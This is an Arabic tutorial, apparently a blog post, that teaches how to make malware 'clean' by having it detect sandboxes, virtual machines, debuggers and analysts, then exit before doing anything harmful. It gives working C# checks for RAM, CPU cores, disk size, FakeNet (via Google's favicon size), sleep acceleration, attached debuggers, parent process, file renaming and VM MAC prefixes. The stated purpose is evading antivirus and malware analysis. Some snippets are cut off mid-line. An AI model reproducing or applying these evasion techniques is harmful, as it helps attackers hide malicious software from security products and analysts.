

14 method to make your malware clean

Anti بطريقتة تصعب على malware بسم الله اليوم بشرح لكم كيف تسوي و اي محلل مالوير يعرف وش قاعد تسوي vitus

وش يعني sandbox

كثير من برامج الحماية تشغل الملفات في نظام وهمي عشان تشوف هل الملف يسوي شي ضار او لا و بنفس الوقت محللين المالوير يسوونها عشان ما يتضرر النظام الاساسي و كثير يستخدمون Virtualbox



Virtualbox

وش الفائدة اننا نكشف sandbox

مثل ماقلنا فوق برامج الحماية تشغل الملف حقك في نظام وهمي (sandbox) عشان تشوف اذا كان ضار او لا طبعا هذي مو الطريقة الوحيدة بس هذي احد الطرق ف اذا قدرنا نعرف ان المالوير حقنا شغال في نظام وهمي نقدر مانسوي شي ضار عشان يعتبر برنامجنا برنامج سليم

طرق كشف sandbox

فيه طرق كثير مرة بشرح بعض منها
بما ان النظام الوهمي موارد محدودة راح نستفيد من الشي ذا وش يعني موارد محدودة؟
يعني النظام يكون فيه 4 قيقا رام مثلا ف يعتبر ضعيف

RAM

في النظام الوهمي نقول انه يحتوي على 1 قيقا رام نخلي البرنامج حقا يتحقق اذا النظام اللي شغال عليه اكثر من 4 قيقا رام او لا يستخدم #C لأنها مشهوره في كتابه الملوير و الكود سهل فهمه

```
[DllImport("kernel32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool GetPhysicallyInstalledSystemMemory(out long TotalMemoryInKilobytes);

static void bypass_sanbox_RAM()
{
    long memKb;
    GetPhysicallyInstalledSystemMemory(out memKb);
    if ((memKb / 1024 / 1024) < 4) {
        System.Environment.Exit(2);
    }
}
```

بعد مايشيك اذا الرام اقل من 4 يسكر البرامج و مايسوي شي يفضل انك ماتسكركه بس تغير طريقة تشغيله

CORES

مثل الطريقة اللي فوق الجهاز موارد بسيطة بنسوي تحقق Cores بالجهاز و اذا كانت قليل نسكر

```
static void bypass_sandbox_CORES() {
    if (3 > Environment.ProcessorCount) {
        System.Environment.Exit(2);
    };
}
```

Disk

الانظكة الوهمية مساحتها تجي قليلة راح نستغل الشي هذا و نشيك

```
static void bypass_sandbox_drive()
{
    DriveInfo dDrive = new DriveInfo("C");
    if (dDrive.IsReady)
    {
        if(dDrive.TotalSize< 100000000000)
        {
            // Console.WriteLine("drive");
            System.Environment.Exit(2);
        }
    }
}
```

network

لما يشغل برنامج الحماية الملف حقنا مايكون متصل بالانترنت و بنفس الوقت اذا بيحلل شخص الملوير يفصله عن الانترنت راح نستفيد من الشي هذا و نشوف هل فيه اتصال بالنت او لا بس هل هذا كافي؟ لا ممكن محلل الملوير يستخدم [Fakenet](#) بحيث انه يوهمنا اننا في نظام حقيقي و متصل بالشبكة بهذي الحالة ممكن نسوي ريقويست لقوغل و نشوف الريسبونس كم بايت فيه بالطريقة هذي نتأكد اذا كان Fakenet او لا

```
static void bypass_sandbox_network() {
    HttpWebRequest httpReq = (HttpWebRequest)WebRequest.Create("https://www.google.com/favicon.ico");
    httpReq.AllowAutoRedirect = false;
    HttpWebResponse httpRes = (HttpWebResponse)httpReq.GetResponse();

    if (httpRes.ContentLength != 5430)
    {
        System.Environment.Exit(2);
    }
}
```

sleep

برامج الحماية لما تشغل الملفات تشغلها لمدة معينة عشان ما تستهلك موارد كثير من الجهاز ف مثلا ممكن تشغل الملف 30 ثانية ف ممكن نخلي البرنامج حقنا لا يشتغل لمدة 30 ثانية و بعدها يشتغل بهذي الطريقة ممكن نتخطى بس برامج الحماية صارت اذكى و صارت تسوي api hooking بحيث لو حطينا sleep لمدة ساعتين مثلا ما تجلس نص ثانية باختصار يتلاعب بوقت sleep حقنا ف ممكن نستفيد من الشي هذا و نشيك عن فعلا مرت ساعتين او لا

```
static void sleep() {
    var watch = System.Diagnostics.Stopwatch.StartNew();
    Thread.Sleep(2000);
    watch.Stop();
    var elapsedMs = watch.ElapsedMilliseconds;
    if (elapsedMs < 2000) {
        System.Environment.Exit(2);
    }
}
```

هنا سوينا sleep لمدة ثانيتين و بعدها تأكدنا هل فعلا مرت ثانيتين او لا

debugger

كثير من محللي الملوير يستخدم debugger عشان يعرف كيف البرنامج حقا يشتغل بشكل dynamic ف ممكن نتحقق هل يوجد debugger او لا

```
static void detect_debugger() {
    if (System.Diagnostics.Debugger.IsAttached)
    {
        System.Environment.Exit(2);
    }
}
```

هذي مو الطريقة الوحيدة اللي نكشف فيها اذا فيه احد يسوي debug لبرنامجنا او لا احد الطرق الاخرى اننا نسوي debug للبرنامج حقا لأن مستحيل يكون فيه اثنين debugger بنفس الprocess ببيصير خطأ

For loop

مثل ماقلنا مانقدر نسوي sleep ف راح نسوي loop لوقت طويل بحيث تقوم بنفس عمل sleep

```
static void loop() {
    for (int i = 0; i < 1000000000; i++)
    {
        Console.WriteLine(i);
    }
}
```

message box

لما يشتغل الماوير في نظام وهمي مايكون فيه مستخدم ف ممكن نستخدم طرق تعلمنا هل فيه مستخدم او لا و منها messagebox

```
static void messagebox() {  
  
    string message = "Simple MessageBox";  
    string title = "Title";  
    MessageBox.Show(message, title);  
  
}
```

احد الطرق الثانية موقع الماوس اذا تغير او لا و اذا انضغط الماوس او لا

GetTickCount

و هذي فنكشن تعلمنا كم من الوقت النظام شغال ف ممكن نتأكد النظام شغال اكثر من 10 دقائق كمل او غير كذا سكر البرنامج

Recent files

لما يكون النظام وهمي مايكون فيه ملفات او تكون الملفات في Recent files قليل جدا

```
static void recentfiles() {  
  
    int fCount = Directory.GetFiles("C:\\Users\\"+Environment.GetEnvir  
    if (20 > fCount) {  
        System.Environment.Exit(3);  
    };  
}
```

Services & Processes

لما يكون النظام وهمي بنلاحظ فيه Services او Processes خاصه في vm ف ممكن نتأكد اذا كانت فيه او لا

ParentPID

احد الطرق اللي تخليها نتخطى ال debugger هي ParentPID

```

static void GetParentPID() {
    Process[] processlist = Process.GetProcesses();
    List<string> optionList = new List<string> { "cmd", "powershell", "svchost", "explorer", "VsDebugCon
    string par_procname = "";
    foreach (Process theprocess in processlist)
    {
        if (theprocess.ProcessName == System.AppDomain.CurrentDomain.FriendlyName) {
            Console.WriteLine(theprocess.Id);
            par_procname = Process.GetProcessById(GetParentProcess(theprocess.Id)).ProcessName;
            if (optionList.Contains(par_procname)) {
                return;
            }
        }
    }
    System.Environment.Exit(2);
}

```

بالطريقة هذي اذا الملف اشتغل عن طريقة نشيك ممكن تغييرها ان او ممكن تخليها blacklist

Rename File

```

static void Raname() {
    if (System.AppDomain.CurrentDomain.FriendlyName != "Anti_everything") {
        System.Environment.Exit(2);
    }
}

```

اغلب محللين الملوير اذا حمل الملوير او يبني يحلل الملوير يغير اسمه و حنا راج نقارن اسم الملف حقنا بالاسم الاصلي

Mac address

الانظمة الوهمية يكون لها mac address متعارف بينهم ف ممكن تستخدم الشي هذا عشان تشيك اذا كان يشتغل بنظام وهمي او لا

```

static void bypass_sandbox_macaddr() {
    List<string> optionList = new List<string> { "00:0c:29", "00:50:56", "08:00:27", "52:54:00 ", "00:2
    "00:07:82", "00:03:BA", "08:00:20", "2C:C2:60", "00:10:4F", "00:0F:4B", "00:13:97", "00:20:F2", "00:14
    string macaddr = GetMacAddress().ToString();
    for (var i = 0; i < optionList.Count; i++)
    {
        if (macaddr.StartsWith(optionList[i])) {
            System.Environment.Exit(2);
        }
    }
}

```

Real Example

